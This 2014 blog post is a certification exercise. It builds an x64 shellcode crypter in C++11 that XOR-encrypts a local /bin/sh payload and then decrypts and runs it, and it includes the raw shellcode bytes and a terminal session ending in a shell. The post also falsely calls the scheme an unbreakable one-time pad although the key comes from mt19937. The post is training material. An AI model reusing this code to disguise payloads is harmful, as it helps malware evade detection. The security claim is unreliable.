Sunday, December 21, 2014

x64 Shellcode One-Time Pad Crypter

I chose to use C++11 to create a shellcode crypter. I decided the following data structure is one that works well when dealing with shellcode in C++:

typedef std::vector<unsigned char> bytearr_t;

I had a bit of difficulty when trying to find an appropriate encryption method to use. I knew that I didn't want to use a block cipher, as the extra padding would only increase the length of the shellcode. Most of the stream ciphers have a number of attacks on them, and the ones that don't are pretty obscure.

 One stream cipher that is guaranteed to be cryptographically secure and cannot be cracked is a one-time pad. This type of encryption means that the key length is the same size as the data being encrypted. With a one-time pad, it is literally impossible to reverse the message without the right key, since the message can be any permutation of the same length. Here is how I generate a key:

bytearr_t generate_key(size_t len)
    std::random_device rd;
    std::mt19937 mt(rd());
    std::uniform_real_distribution<double> dist(0, 256);

    bytearr_t ret;

    for (auto i = 0; i < len; ++i)
        ret.push_back((unsigned char)dist(mt));

    return ret;

There are other ways to generate the key, but this one means we will always end up with something somewhat unique. Here is the encryption method which is a basic xor stream cipher:

bytearr_t one_time_xor(bytearr_t sc, bytearr_t key)
    bytearr_t ret;

    assert(sc.size() == key.size());

    for (auto i = 0; i < sc.size(); ++i)
        ret.push_back(sc[i] ^ key[i]);

    return ret;

You might be thinking, a simple xor is all that's being used? Well, you're not alone, and there are theoretical attacks on one-time pads. For instance, if someone knows our payload ends with syscall, they can easily change those bytes of the payload into something else. But if someone can garble that, they can garble anything, and prevent the payload from running in the first place, so we shouldn't be concerned. Even if we actually do have that information leak, the rest of the payload will still be unintelligible without the right key.

 The following example shows encryption of a simple local shell payload.

root@kali:~# g++ -std=c++11 -m64 -z execstack crypter.cpp

root@kali:~# ./a.out \x31\xf6\x48\xbf\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdf\xf7\xe6\x04\x3b\x57\x54\x5f\x0f\x05

Size: 24



root@kali:~# ./a.out -d \x69\x77\x89\xdd\x5a\x00\x4f\x89\xc7\xb4\x8e\xec\xc7\x05\x46\x33\x0b\x31\x27\xde\x2f\xe2\x71\x9d \x58\x81\xc1\x62\x8b\x9d\xd9\x18\x17\x38\x19\x13\x8f\xf2\x99\xc4\xed\x35\x1c\x89\x7b\xbd\x7e\x98


Press any key to execute...
# whoami

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE64 - 1360

No comments :

Post a Comment